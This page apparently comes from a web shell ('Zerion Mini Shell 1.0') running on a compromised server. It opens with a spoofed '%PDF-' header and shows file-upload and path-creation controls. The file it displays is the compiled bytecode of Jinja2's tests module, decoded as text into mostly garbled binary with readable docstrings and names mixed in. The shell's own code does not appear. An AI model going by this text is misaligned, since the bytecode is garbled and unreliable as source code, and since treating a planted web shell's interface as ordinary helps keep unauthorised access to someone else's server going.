%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17212/usr/lib/python3/dist-packages/jinja2/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17212/usr/lib/python3/dist-packages/jinja2/__pycache__/tests.cpython-35.pyc



�bU#�"@s�dZddlZddlmZddlmZddlmZmZm	Z	ddl
Z
ejd�Ze
e�ZeZdd�Zd	d
�Zdd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Z d'ed(ed)ed*ed+ed,ed-ed.ed/ed0ed1ed2ed3ed4ed5ed6ed7e iZ!dS)8z�
    jinja2.tests
    ~~~~~~~~~~~~

    Jinja test functions. Used with the "is" operator.

    :copyright: (c) 2010 by the Jinja Team.
    :license: BSD, see LICENSE for more details.
�N)�Mapping)�	Undefined)�	text_type�string_types�
integer_typesz^-?\d+(\.\d+)?$cCs|ddkS)z#Return true if the variable is odd.���)�valuer	r	�./usr/lib/python3/dist-packages/jinja2/tests.py�test_oddsrcCs|ddkS)z$Return true if the variable is even.rrr	)r
r	r	r�	test_evensr
cCs||dkS)z-Check if a variable is divisible by a number.rr	)r
Znumr	r	r�test_divisibleby"srcCst|t�S)a;Return true if the variable is defined:

    .. sourcecode:: jinja

        {% if variable is defined %}
            value of variable: {{ variable }}
        {% else %}
            variable is not defined
        {% endif %}

    See the :func:`default` filter for a simple way to set undefined
    variables.
    )�
isinstancer)r
r	r	r�test_defined'srcCs
t|t�S)z-Like :func:`defined` but the other way round.)rr)r
r	r	r�test_undefined8srcCs
|dkS)z$Return true if the variable is none.Nr	)r
r	r	r�	test_none=srcCst|�j�S)z*Return true if the variable is lowercased.)r�islower)r
r	r	r�
test_lowerBsrcCst|�j�S)z*Return true if the variable is uppercased.)r�isupper)r
r	r	r�
test_upperGsrcCs
t|t�S)z&Return true if the object is a string.)rr)r
r	r	r�test_stringLsrcCs
t|t�S)zSReturn true if the object is a mapping (dict etc.).

    .. versionadded:: 2.6
    )rr)r
r	r	r�test_mappingQsrcCst|ttttjf�S)z(Return true if the variable is a number.)rr�float�complex�decimalZDecimal)r
r	r	r�test_numberYsrc	Cs(yt|�|jWndSYnXdS)z^Return true if the variable is a sequence. Sequences are variables
    that are iterable.
    FT)�len�__getitem__)r
r	r	r�
test_sequence^s
	rcCs
||kS)a�Check if an object has the same value as another object:

    .. sourcecode:: jinja

        {% if foo.expression is equalto 42 %}
            the foo attribute evaluates to the constant 42
        {% endif %}

    This appears to be a useless test as it does exactly the same as the
    ``==`` operator, but it can be useful when used together with the
    `selectattr` function:

    .. sourcecode:: jinja

        {{ users|selectattr("email", "equalto", "foo@bar.invalid") }}

    .. versionadded:: 2.8
    r	)r
�otherr	r	r�test_equaltojsr!cCs
||kS)z�Check if an object points to the same memory address than another
    object:

    .. sourcecode:: jinja

        {% if foo.attribute is sameas false %}
            the foo attribute really is the `False` singleton
        {% endif %}
    r	)r
r r	r	r�test_sameas�s
r"cCs+yt|�Wntk
r&dSYnXdS)z1Check if it's possible to iterate over an object.FT)�iter�	TypeError)r
r	r	r�
test_iterable�s

	r%cCs
t|d�S)zCheck if the value is escaped.Z__html__)�hasattr)r
r	r	r�test_escaped�sr'ZoddZevenZdivisiblebyZdefinedZ	undefinedZnone�lower�upper�string�mappingZnumberZsequence�iterable�callableZsameasZequaltoZescaped)"�__doc__�re�collectionsrZjinja2.runtimerZjinja2._compatrrrr�compileZ	number_re�typeZ
regex_typer-Z
test_callablerr
rrrrrrrrrrr!r"r%r'ZTESTSr	r	r	r�<module>
sR
	

Zerion Mini Shell 1.0